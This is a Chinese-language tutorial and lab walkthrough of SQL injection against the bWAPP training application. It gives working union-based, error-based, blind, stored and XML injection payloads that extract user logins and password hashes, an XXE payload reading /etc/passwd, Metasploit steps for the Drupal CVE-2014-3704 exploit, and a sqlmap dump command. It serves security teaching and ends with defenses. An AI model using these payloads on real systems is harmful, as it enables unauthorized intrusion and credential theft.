3.bWAPP SQL注入篇
字数 1153 2025-08-24 16:48:07
SQL注入漏洞全面解析与实战教学
1. SQL注入基础概念
SQL注入是一种将恶意SQL代码插入到应用输入参数中,从而在后台数据库执行非预期操作的攻击技术。根据注入点位置和攻击方式,可分为多种类型:
- GET/Search型:通过URL参数注入
- POST/Search型:通过表单POST数据注入
- 盲注:布尔盲注和时间盲注
- 存储型:通过存入数据库的数据注入
- 报错注入:利用数据库报错信息获取数据
2. GET/Search型SQL注入
2.1 低安全级别(Low)
漏洞探测步骤:
-
初始探测:输入单引号
'观察是否报错g' -
构造永真和永假条件测试:
g%' or 1=1 # g%' or 1=2 # -
判断字段数:
g%' order by 8 # -
确定回显点:
g%' union select 1,2,3,4,5,6,7 # -
获取数据库信息:
- 数据库名:
g%' union select 1,database(),3,4,5,6,7 # - 表名:
g%' union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema='bWAPP' # - 字段名:
g%' union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_schema='bWAPP' and table_name='users' # - 数据:
g%' union select 1,group_concat(login),group_concat(password),4,5,6,7 from users #
- 数据库名:
2.2 中安全级别(Medium)
低级别payload失效,使用报错注入:
-
获取数据库名:
' or updatexml(1,concat(0x7e,(select database()),0x7e),1)or' -
分段获取表名(因显示长度限制):
' or updatexml(1,concat(0x7e,right((select group_concat(table_name) from information_schema.tables where table_schema='bWAPP'),22),0x7e),1)or' -
使用limit逐个读取字段:
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='bWAPP' and table_name='users' limit 0,1),0x7e),1)or'
3. GET/Select型SQL注入
3.1 低安全级别(Low)
数字型注入步骤:
-
判断注入类型:
?movie=1 and 1=1 ?movie=1 and 1=2 -
判断字段数:
?movie=1 order by 7 ?movie=1 order by 8 -
获取数据:
?movie=1 and 1=2 union select 1,group_concat(login),group_concat(password),4,5,6,7 from users
4. AJAX/JSON/jQuery注入
攻击方式:
-
直接攻击数据处理接口:
/sqli_10-2.php?title=Iron%' and 1=1 %23 -
在前端搜索框注入:
%' union select 1,group_concat(login),group_concat(password),4,5,6,7 from users#
5. 登录表单注入
5.1 低安全级别(Low)
特殊注入方式:
-
需要使联合查询的密码字段与输入密码匹配:
' union select 1,2,"77de68daecd823babbb58edb1c8e14d7106e83bb",4,5,6,7,8,9 #密码:3(因为sha1(3) = 77de68...)
-
获取数据:
' union select 1,database(),"77de68daecd823babbb58edb1c8e14d7106e83bb",4,(select group_concat('~',login,'~',password) from users),6,7,8,9 #
6. SQLite注入
特殊语法:
- 注释符为
-- - 内置表
sqlite_master存储元数据
注入步骤:
-
获取表结构:
123%' union select 1,sqlite_version(),sql,4,5,6 from sqlite_master -- -
获取数据:
123%' union select 1,2,login,password,5,6 from users --
7. 存储型SQL注入
7.1 Blog注入
低安全级别:
-
猜测INSERT语句结构:
test','hack')# -
获取数据:
test', (select group_concat(login,password) from users)) #
7.2 User-Agent注入
低安全级别:
test', (select database())) #
8. XML型SQL注入
两种攻击方式:
-
SQL注入:
<reset><login>bee' or extractvalue(1, concat(0x7e, (select database()), 0x7e)) or '1'='1</login><secret>Any bugs?</secret></reset> -
XXE注入:
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE hack [ <!ENTITY text SYSTEM "file:///etc/passwd"> ]> <reset><login>&text;</login><secret>hack</secret></reset>
9. 盲注技术
9.1 布尔盲注
判断条件:
Iron Man' and length(database())=5 #
Iron Man' and (substr(database(),1,1))='b' #
9.2 时间盲注
利用sleep函数:
Iron Man' and sleep(if((1=2), 0, 3)) #
10. 防御措施分析
- 中安全级别(Medium):使用
addslashes()函数转义特殊字符 - 高安全级别(High):使用
mysql_real_escape_string()函数 - 编码一致:MySQL编码为utf-8,无法使用宽字节绕过
11. 特殊漏洞案例
Drupal SQL注入(CVE-2014-3704)
利用步骤:
- 使用Metasploit模块:
use exploit/multi/http/drupal_drupageddon set targeturi /drupal/ set RHOSTS 192.168.10.10 set rport 8080 exploit
12. 自动化工具使用
sqlmap示例:
sqlmap -r t.txt --dbs --dbms mysql -D bwapp -T users -C admin,id,login,password --dump
总结
SQL注入攻击手法多样,防御需要多层次:
- 使用预处理语句
- 严格输入验证
- 最小权限原则
- 错误信息处理
- 定期安全测试
通过本教学,您应该掌握了从基础到高级的SQL注入技术,以及相应的防御思路。实际应用中请遵守法律法规,仅在授权范围内进行安全测试。